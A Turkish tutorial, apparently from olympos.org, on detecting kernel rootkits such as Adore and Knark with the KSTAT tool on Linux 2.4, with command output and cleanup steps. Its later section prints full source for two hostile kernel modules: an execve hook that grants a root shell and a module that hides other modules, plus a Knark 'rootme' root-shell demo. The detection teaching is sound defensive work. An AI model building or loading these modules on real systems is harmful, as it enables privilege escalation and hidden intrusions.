Sisteminizin çalışmasını başlattığınız andan itibaren ve işletim sisteminizin ilk ışıkları gözünüze nüksettikten sonra ardı ardına kesilmeyecek olaylar zinciri meydana gelir. Bilgisayarı sadece donanım olarak düşünmek sanırım onu bir teneke yığınına benzetmekten farksızdır. |
Kullanıcı ile donanım arasında bağı oluşturan ana etmen yazılımdır. Yazılım öyle bir bağdır ki, ya kullanıcının tüm hünerlerini sergilemesini yada her şeyi bir anda silip süpürmesini sağlar. Donanıma hükmetmek için gerekli komutları yazılım uygular. Bizi yormadan gerekli işlemleri yapan , sisteme yapması gerekenleri büyük bir zevkle bildiren bir bekçi(miz) vardır: Kernel (Çekirdek). Çekirdeğin yetenekleri arasında işlemlerin (process) yönetilmesi (oluşturma-bekletme-sonlandırma), gerekli olayların yürütülmesi için bellekte yer tahsil edilmesi, dosya sisteminin kontrolü – bakımı (herhangi aksi bir duruma karşı dosyaları koruma) vb. gibi yetenekleri vardır. Öyle ki derlediğimiz modülleri sisteme sonradan ekleyip istediğimiz donanımı sisteme herhangi bir zamanda adapte edebiliriz. Modül uygulamaları çekirdeğe yeni özellikler katar. Her modül sistem yöneticisinin emrinde olmayabilir. Sisteme sızan bir kişi tüm olayları kendine yarar sağlayacak şekilde ayarlar. Örneğin; Sistemde yetkiyi aldıktan sonra sisteme modül [LKM – Loadable Kernel Modules] ekleyerek çeşitli görevlerin yerine getirilmesini sağlar. Bu modülün görevileri arasında; sisteme bağlandığı IP adresinin gizlenmesi (sistemde yetkiyi alan kişiye ait IP), kendisine ait dosyaların diğer kullanıcılardan saklanması, çalıştırdığı uygulamaların gizlenmesi (sniffer, bnc, bot…), sistemde yetkisini muhafaza etme gibi yükümlülükleri yerine sayılabilir. Amacımız bu tehlike arz eden modülleri tespit etmek (en azından tespit etmeye çalışmak). Bunun için kullanacağımız uygulama olan KSTAT(Kernel Security Therapy Anti-Trolls) aracında öncelikle işletim sistemin çekirdeğine göre nasıl ayar yapacağımıza değineceğiz. Sonra çekirdeğe eklenen modüllerin neler olduğunu araştıracağız. /* KSTAT(Kernel Security Therapy Anti-Trolls) */ Kstat, bir kaç metotla çekirdekteki olağan dışı görünen durumları kontrol eden bir uygulamadır (bu yazılımın WEB adresi kaynaklar kısmında mevcuttur). Örneğin; `-s` opsiyonu ile sistem çağrılarının (System Calls) bulunması gereken adreslerinde olup olmadığını kontrol eder. Eğer sistemde Adore Rootkit entegre edilmişse ‘kstat -s 0’ hareketi bize şu bilgiyi verebilir: sys_exit 0xc8a64da0 WARNING! should be at 0xc011eae0 sys_fork 0xc8a64870 WARNING! should be at 0xc01078e0 sys_close 0xc8a64c00 WARNING! should be at 0xc0139700 sys_ptrace 0xc8a64b80 WARNING! should be at 0xc010c240 sys_kill 0xc8a649f0 WARNING! should be at 0xc0125260 sys_mkdir 0xc8a64d10 WARNING! should be at 0xc0144dd0 sys_clone 0xc8a64930 WARNING! should be at 0xc0107900 sys_getdents 0xc8a644d0 WARNING! should be at 0xc0147fe0 sys_ni_syscall 0xc8a646a0 WARNING! should be at 0xc0148170 Kstat derlenip çalıştırılmadan önce işletim sisteminin çekirdeğine göre ayar yapılmalıdır. Bu uygulamanın doğru çalışabilmesi için System.map dosyasından değerler alınıp, bir kaç aritmetik (1+1=2 misali :)) işleminden sonra bu elde edilen değerleri linux.h (kstat içinde) dosyasına ekleyeceğiz. Aşağıda anlatacağım ayarlar Mandrake 9.0 ‘a göre. Bu anlatılanlar diğer sistemlere uygulanabilir (umudum bu yönde 🙂 ). [root@herakleia /]# uname -r 2.4.19-16mdk [root@herakleia /]# cat /boot/System.map | grep raw_prot c02931c0 D raw_prot [root@herakleia /]# cat /boot/System.map | grep inet_stream_ops … c0293d20 D inet_stream_ops [root@herakleia /]# cat /boot/System.map | grep tcp_prot … c02930e0 D tcp_prot [root@herakleia /]# cat /boot/System.map | grep udp_prot … c0293260 D udp_prot [root@herakleia /]# cat /boot/System.map | grep ioport_resource … c025e130 D ioport_resource [root@herakleia /]# cat /boot/System.map | grep kernel_module c025e0a0 D kernel_module KSTAT/doc dizini altındaki offset.c dosyasını derledikten (gcc -o hesapla offset.c) ve aşağıdaki işlemleri yaptıktan sonra KSTAT/include/linux.h dosyasına bulduğumuz değerleri ekleyeceğiz. TCPOFF değeri için => inet_stream_ops – tcp_prot ( ./hesapla c0293d20 c02930e0 ) UDPOFF değeri için => inet_stream_ops – udp_prot ( ./hesapla c0293d20 c0293260 ) RAWOFF değeri için => inet_stream_ops – raw_prot ( ./hesapla c0293d20 c02931c0 ) HEXOFF değeri için => ioport_resource – kernel_module ( ./hesapla c025e130 c025e0a0 ) Nihayetinde KSTAT/include/linux.h dosyasına şu şekilde eklentiler yapabiliriz: …. …. #if LINUX_VERSION_CODE == KERNEL_VERSION(2,4,19) #define TCPOFF 3136 #define UDPOFF 2752 #define RAWOFF 2912 #define HEXOFF 144 #elif LINUX_VERSION_CODE == … …. …. Ayarlar bu kadar 😉 Artık uygulamayı derleyebiliriz. Bundan sonraki işlemleri kstat aracınızı derlediğinizi varsayarak anlatıyorum. /* KSTAT ile ADORE ROOTKIT Tespiti */ Affınıza sığınarak “Rootkit nedir ne değildir?” sorusuna yanıt bulmak için uğraşmayacağım. Bu sorunun yanıtını içeren dokümanlar mevcuttur 🙂 [root@herakleia /]# ps -aux [1] USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 1288 84 ? S 14:42 0:03 init root 2 0.0 0.0 0 0 ? SW 14:42 0:00 [keventd] root 6 0.0 0.0 0 0 ? SW 14:42 0:00 [bdflush] root 8 0.0 0.0 0 0 ? SW< 14:42 0:00 [mdrecoveryd] named 1085 0.0 0.4 10108 524 ? S 14:43 0:00 named -u named named 1089 0.0 0.4 10108 524 ? S 14:43 0:00 named -u named root 1096 0.0 0.0 3196 16 ? S 14:43 0:00 -:0 root 1110 0.0 0.0 2660 4 ? S 14:43 0:00 /usr/sbin/sshd … … … [root@herakleia /]# w USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/0 – 2:44pm 3:24m 0.00s ? – [root@herakleia /]# lsmod Module Size Used by Tainted: P … .. .. isofs 25652 0 (autoclean) inflate_fs 17892 0 (autoclean) [isofs] udf 85472 0 (autoclean) … .. .. nfsd 66576 8 (autoclean) sunrpc 60188 1 (autoclean) [nfsd lockd] 8139too 14472 1 (autoclean) usbcore 58304 1 [usb-uhci] ext3 74004 1 … … … [root@herakleia Kstat]# kstat -s 0 [ sistem çağrılarını sorgula ] Legal system_call handler should be at 0xc0108fb0 … OK! Legal sys_call_table should be at 0xc025c530 … OK! sys_exit 0xc8a64da0 WARNING! should be at 0xc011eae0 sys_fork 0xc8a64870 WARNING! should be at 0xc01078e0 sys_close 0xc8a64c00 WARNING! should be at 0xc0139700 sys_ptrace 0xc8a64b80 WARNING! should be at 0xc010c240 sys_kill 0xc8a649f0 WARNING! should be at 0xc0125260 sys_mkdir 0xc8a64d10 WARNING! should be at 0xc0144dd0 sys_clone 0xc8a64930 WARNING! should be at 0xc0107900 sys_getdents 0xc8a644d0 WARNING! should be at 0xc0147fe0 sys_ni_syscall 0xc8a646a0 WARNING! should be at 0xc0148170 ???? Sanırım bu tabloyu görünce biraz düşünmeye başlama zamanı geldi ? Birde Kstat aracı ile sistemdeki süreçleri görelim. [root@herakleia Kstat]# kstat -P [ tüm süreçleri göster ] PID PPID UID GID COMMAND 1 0 0 0 init 2 1 0 0 keventd . . . . . . . . . . 4123 1 0 0 bot < —— ????? … Daha önce ‘ps -aux ‘ [1] ile süreç kontrolünde ‘bot’ konulu sahne görünmemişti. incelemeyi derinleştirmelim. [root@herakleia Kstat]# kstat -M [ çekirdeğe bağlı modül listesini sırala ] Using /lib/modules/misc/knull.o Module Address Size knull 0xc8a68000 224 floppy 0xc8b04000 49340 isofs 0xc8a59000 25652 inflate_fs 0xc88ee000 17892 udf 0xc8abf000 85472 nfsd 0xc88d1000 66576 lockd 0xc88c4000 46480 sunrpc 0xc88b4000 60188 8139too 0xc8897000 14472 … Do you want to scan memory for LKMs ? [y] y Insert initial address: [0xc8817000] <——-Taramaya hangi adresten itibaren başlanacak ? Searching Kernel Memory for LKMs from 0xc8817000 to 0xc9a68000 0xc8821000 0xc8824000 0xc8834000 0xc883b000 0xc883f000 0xc8849000 0xc8860000 0xc8897000 0xc8a64000 [2] Probing memory at 0xc8897000 Name: 8139too [Temiz modül ;)] Size: 14472 Flags: MOD_RUNNING MOD_DELETED MOD_AUTOCLEAN MOD_VISITED MOD_USED_ONCE First Registered Symbol: __insmod_8139too_O/lib/modules/2.4.19-16mdk/kernel/drivers/net/8139too.o.gz_M3D8B5246_V132115 at 0xc8897000 [root@herakleia Kstat]# kstat -m 0xc8a64000 [ belirtilen adresteki modül nedir necidir[2] ] Probing memory at 0xc8a64000 Name: adore <=== ?? Birileri sistemi ziyarette bulunmuş (Adore R00tkiT) Size: 10465 Flags: MOD_RUNNING First Registered Symbol: __insmod_adore_O/home/user/.gizli/bash/adore.o_…E5F25F_V132115 at 0xc8a64000 ———————- Bu dizini sorguya almak lazım <——————————-| Sonra kendimizi sorgulamamız gerekir. Kendimize soracağımız sual; acaba bu kullanıcı yetkisini nasıl yükseltip sisteme modül yüklemiş. Yanıtları düşündükten sonra yukarıdaki sonuç sistemdeki önemli dosyaları kontrol etmemiz gerektiği kanısına götürür.. [root@herakleia Kstat]# rmmod adore [tehlikeli modülü çekirdekten çıkarıyoruz] [root@herakleia Kstat]# ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 1288 84 ? S 14:42 0:03 init root 2 0.0 0.0 0 0 ? SW 14:42 0:00 [keventd] … … user 4123 0.0 0.2 1252 288 ? S 17:45 0:00 ./bot <==???? …. … ‘bot’ isimli uygulamanın çalıştırılması `user` adlı kullanıcı tarafından çeşitli gözlerden gizlenmiş. Modülü çekirdekten çıkarınca gerçekler ortaya çıktı. [root@herakleia Kstat]# kill -9 4123 [gizlenen uygulamayı sonlandırıyoruz] [dosya büyük olasılıkla ‘adore’ ile birlikte olan ‘ava’ ile gizlenmiştir] Bu işlemlerden sonra sistem çağrılarını kontrol edelim. [root@herakleia /]# kstat -s 0 Legal system_call handler should be at 0xc0108fb0 … OK! Legal sys_call_table should be at 0xc025c530 … OK! No System Call Address Modified <—– Adresler yerli yerinde imiş. Adore ile ilgili bir not: Eğer analiz sonucunda belirttiğiniz adreste; [root@herakleia Kstat]# kstat -m 0xc88e9000 [ belirtilen adresi sorgula ] Probing memory at 0xc88e9000 Name: lamerel Size: 3784 Flags: MOD_RUNNING First Registered Symbol: __insmod_lamerel_O/home/user/.gizli/mail/lamerel.o_M3E…_V132115 at 0xc88e9000 lamerel adında modülle karşılaşırsanız büyük ihtimalle bu modülde Adore’nin parçasıdır(versiyon farklılığı). Unutmadan belirtmemde fayda var. ‘kstat -s 0’ ile verilen her bilginin sonucu size ter döktürmesin. Ortaya çıkan WARNING kelimesinin nedeni sizin yüklediğiniz masum modülde olabilir(Gözlemim bu yönde). Örneğin; [root@herakleia /]# kstat -s 0 Legal system_call handler should be at 0xc0108fb0 … OK! Legal sys_call_table should be at 0xc025c530 … OK! sys_ptrace 0xc88f2060 WARNING! should be at 0xc010c240 Buradaki uyarı sisteminizi ptrace exploitine karşı koruyan modülün uyarısı olabilir 😉 [root@herakleia /]# lsmod Module Size Used by Not tainted ptrace_kill 628 0 (unused) <= yukarıdaki uyarıya sebep olan modül isofs 25652 0 (autoclean) inflate_fs 17892 0 (autoclean) [isofs] 8139too 14472 1 (autoclean) … … /* KSTAT ile KNARK ROOTKIT Tespiti */ [root@test /]# lsmod Module Size Used by Tainted: P nfsd 66576 8 (autoclean) lockd 46480 1 (autoclean) [nfsd] sunrpc 60188 1 (autoclean) [nfsd lockd] 8139too 14472 1 (autoclean) … scsi_mod 90372 1 [ide-scsi] usb-uhci 21676 0 (unused) usbcore 58304 1 [usb-uhci] .. [root@test /]# kstat -s 0 Legal system_call handler should be at 0xc0108fb0 … OK! Legal sys_call_table should be at 0xc025c530 … OK! sys_fork 0xc88e9750 WARNING! should be at 0xc01078e0 sys_read 0xc88e99fc WARNING! should be at 0xc0139f40 sys_execve 0xc88e9e00 WARNING! should be at 0xc0107950 sys_kill 0xc88e9810 WARNING! should be at 0xc0125260 sys_ioctl 0xc88e9894 WARNING! should be at 0xc01477a0 sys_settimeofday 0xc88e9ce0 WARNING! should be at 0xc011f920 sys_clone 0xc88e97b0 WARNING! should be at 0xc0107900 sys_getdents 0xc88e94a8 WARNING! should be at 0xc0147fe0 sys_ni_syscall 0xc88e95e4 WARNING! should be at 0xc0148170 !!!! ortalık celallenmiş…. [root@test Kstat]# kstat -M Using /lib/modules/misc/knull.o Module Address Size … knull 0xc88ec000 224 nfsd 0xc88d1000 66576 lockd 0xc88c4000 46480 sunrpc 0xc88b4000 60188 8139too 0xc8897000 14472 nls_cp857 0xc8849000 3324 … supermount 0xc8881000 14340 … usbcore 0xc8824000 58304 rtc 0xc8821000 6560 ext3 0xc880d000 74004 jbd 0xc8802000 38452 …. Do you want to scan memory for LKMs ? [y] Insert initial address: [0xc8823000] <— Taramaya nereden başlayayım? Searching Kernel Memory for LKMs from 0xc8823000 to 0xc98ec000 … … 0xc88c4000 0xc88d1000 0xc88e9000 [*] Insert address to probe: 0xc88e9000 <—— Şu adrese bir göz atıver… [*] Probing memory at 0xc88e9000 Name: knark Size: 8140 Flags: MOD_RUNNING First Registered Symbol: __insmod_knark_O/home/a/.gizli/knark-2.4.3/knark.o_M3E…V132115 at 0xc88e9000 Eğer Knark modül sisteme eklenmişse normal bir kullanıcı olarak bağlandıktan sonra, knark in komşusu olan ‘rootme’ dosyası çalıştırıldığında kullanıcı knark modülü vasıtasıyla sistemde root olur. [root@herakleia /]# ssh -l a test a@test’s password: [a@test knark-2.4.3]$ ls -la toplam 204 … -rw-r–r– 1 .. knark.o -rw-r–r– 1 .. Makefile -rwxr-xr-x 1 .. mkmod* -r-xr-xr-x 1 .. modhide.c* .. -rwxr-xr-x 1 .. nethide* -rw-r–r– 1 .. output -rw-r–r– 1 .. README -rw-r–r– 1 .. README.cyberwinds -rwxr-xr-x 1 .. rexec* -rwxr-xr-x 1 .. rootme* drwxr-xr-x 2 .. src/ -rw-r–r– 1 .. syscall.c -rw-r–r– 1 .. syscall.o -r–r–r– 1 .. syscall_table.txt -rwxr-xr-x 1 .. taskhack* -rwxr-xr-x 1 .. unhidef* [a@test knark-2.4.3]$ ./rootme rootme.c by Creed Port to 2.4 by Cyberwinds Usage: ./rootme <path> [args …] ex: ./rootme /bin/sh [a@test knark-2.4.3]$ ./rootme /bin/sh rootme.c by Creed Port to 2.4 by Cyberwinds Do you feel lucky today, hax0r? [root@test knark-2.4.3]# <—-???? [ çekirdeğe knark.o isimli dosya eklenirse bu işlem gerçekleşir] /* Çeşitli tespitler */ [root.c] ///////////////////////////////////////////////////////// #include … … int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL “[rootshell] ” char magic_cmd[] = “/bin/sh”; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = “/etc/passwd”; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL ” .%s. (%d/%d/%d/%d) (%d/%d/%d/%d) “, filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL ” Got it:))) “); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL “Loaded:) “); #define REPLACE(x) old_##x = sys_call_table[__NR_##x]; sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL “Unloaded:( “); } ///////////////////////////////////////////////////////////// Yukarıdaki kodun modül olarak derlenmesinden sonra çekirdeğe eklendiğini farz edelim. Bu modülün eklenmesine karşın `kstat -s 0` hareketinin verdiği tepki: [root@herakleia test]# kstat -s 0 Legal system_call handler should be at 0xc0108fb0 … OK! Legal sys_call_table should be at 0xc025c530 … OK! sys_execve 0xc88e9060 WARNING! should be at 0xc0107950 [root@herakleia test]# kstat -M [ çekirdeğe bağlı modül listesini sırala ] Using /lib/modules/misc/knull.o Module Address Size knull 0xc88eb000 224 root 0xc88e9000 1212 <— eklenen modül burada (gizlenmemiş) … nfsd 0xc88d1000 66576 lockd 0xc88c4000 46480 sunrpc 0xc88b4000 60188 … Insert address to probe: 0xc88e9000 <–Bu adrese bakıver.. Name: root Size: 1212 Flags: MOD_RUNNING First Registered Symbol: __insmod_root_S.data_L8 at 0xc88e94b0 Bu modül sisteme ne derece etkili olur onu görelim. [root@herakleia /]# ssh -l user test user@test’s password: [user@test user]$ id uid=502(user) gid=502(user) gruplar=502(user) [user@test user]$ [user@test user]$ /etc/passwd ———-| [root@test user]# <————————| ???? [root@test user]# id uid=0(root) gid=0(root) gruplar=502(user) Bu modül, eğer her kim katıksız /etc/passwd derse sistemde yetkili durumuna geçiriyor. Başka bir deyişle sistemde root olmak istiyorsa önce sihirli söz olan /etc/passwd demesi gerekiyor. Tabii ki modül çekirdeğe eklenmişse 🙂 [root@test tmp]# strings root.o [3] [^_] /bin/sh kernel_version=2.4.19-16mdk /etc/passwd [rootshell] .%s. (%d/%d/%d/%d) (%d/%d/%d/%d) [rootshell] Got it:))) [rootshell] Loaded:) [rootshell] Unloaded:( Eğer yönetici sistemde bir modül rastlar ve [3] nolu formülü uyguladığında buna benzer bir karakter içeriği alıyorsa bu tabloyu meydana getireni ve kendini sorguya çekmesi gerekme zamanı geldiğini düşünmeli (Bu modül sistem loglarında kendini açıkca belli ediyor). [hmod.c] /////////////////////////////////////////////// #include … … char *hide; long show=0; EXPORT_NO_SYMBOLS; int init_module(void) { struct module *corr, *prec; if(!hide) // if there is no module to hide { if(show) // if there is a module to restore { ((struct module *)show)->next = __this_module.next; __this_module.next = (struct module *)show; } return -1; } else; prec = corr = &__this_module; while(corr!=NULL) // find the module to hide { if(strequals(corr->name, hide)) { printk(“0x%p “, corr); prec->next = corr->next; // and broke the links… } prec = corr; corr = corr->next; } return -1; } // Compare two strings int strequals(const char s1[], const char s2[]) { int i; for(i=0; (s1[i]==s2[i])&&s1[i]&&s2[i]; i++); return (s1[i]==s2[i]); } ////////////////////////////////////////////////// Yukarıdaki kod modül olarak derlendikten sonra çekirdeğe eklenmiş başka bir modülü yöneticinin gözlerinden saklamak için kullanılır. Kullanım şekli: # insmod hmod.o hide=<saklanacak_modül_adı> [root@test tmp]# lsmod Module Size Used by Tainted: P root 1228 0 (unused) <——————– vaziyet ortada es1371 26568 1 soundcore 3780 0 [es1371] ac97_codec 9928 0 [es1371] gameport 1660 0 [es1371] nfsd 66576 8 (autoclean) lockd 46480 1 (autoclean) [nfsd] …. [root@test tmp]# insmod hmod.o hide=root [root@test tmp]# lsmod Module Size Used by Tainted: P es1371 26568 1 soundcore 3780 0 [es1371] ac97_codec 9928 0 [es1371] gameport 1660 0 [es1371] nfsd 66576 8 (autoclean) lockd 46480 1 (autoclean) [nfsd] …. ‘root’ isimli modül gözlerden gizlenmiştir. Kstat ile incelemeye başlayalım. [root@test hmod]# kstat -s 0 Legal system_call handler should be at 0xc0108fb0 … OK! Legal sys_call_table should be at 0xc025c530 … OK! sys_execve 0xc88e9060 WARNING! should be at 0xc0107950 [root@test hmod]# kstat -M Using /lib/modules/misc/knull.o Module Address Size knull 0xc88eb000 224 es1371 0xc88ab000 26568 soundcore 0xc88a9000 3780 ac97_codec 0xc88a5000 9928 gameport 0xc88a3000 1660 … Searching Kernel Memory for LKMs from 0xc8829000 to 0xc98eb000 0xc8834000 …. 0xc88ab000 0xc88b4000 0xc88c4000 0xc88d1000 0xc88e9000 Insert address to probe: 0xc88e9000 Probing memory at 0xc88e9000 Name: root Size: 1228 Flags: MOD_RUNNING First Registered Symbol: __insmod_root_S.data_L8 at 0xc88e94c0 Do you want to make this LKM removable ? [y] y [root@test root]# lsmod Module Size Used by Tainted: P es1371 26568 0 soundcore 3780 0 [es1371] root 1228 0 (unused) <———————– ??? Açığa çıktı ? [root@test root]# rmmod root [root@test root]# kstat -s 0 Legal system_call handler should be at 0xc0108fb0 … OK! Legal sys_call_table should be at 0xc025c530 … OK! No System Call Address Modified <— Sakıncalı durum yok(muş) Çekirdeğe bağlanmış modülleri gizleyen ‘hmod’ un içerdiği karakter listesi: [root@test hmod]# strings hmod.o kernel_version=2.4.19-16mdk author=amlet0 description=LKM which hides other LKMs (vers. 0.2) license=GPL parm_hide=s parm_desc_hide=LKM’s name to hide parm_show=l parm_desc_show=Address of LKM to restore 0x%p Sonuç itibariyle çekirdek modülleri sisteme yeni özellikler katmasının yanında kötü emellere alet edilebilmektedirler. İnternet dünyasında bu kötü emellere alet edilecek modül uygulamaları bulmak sorun değildir. Önemli olan sistem yöneticilerin bu modül uygulamaların sistemde ne tür vukuatlara yol açacaklarını bilmeleridir. `Kernel panic`siz günler dileğiyle… |
Kaynak: olympos.org
belgesi-407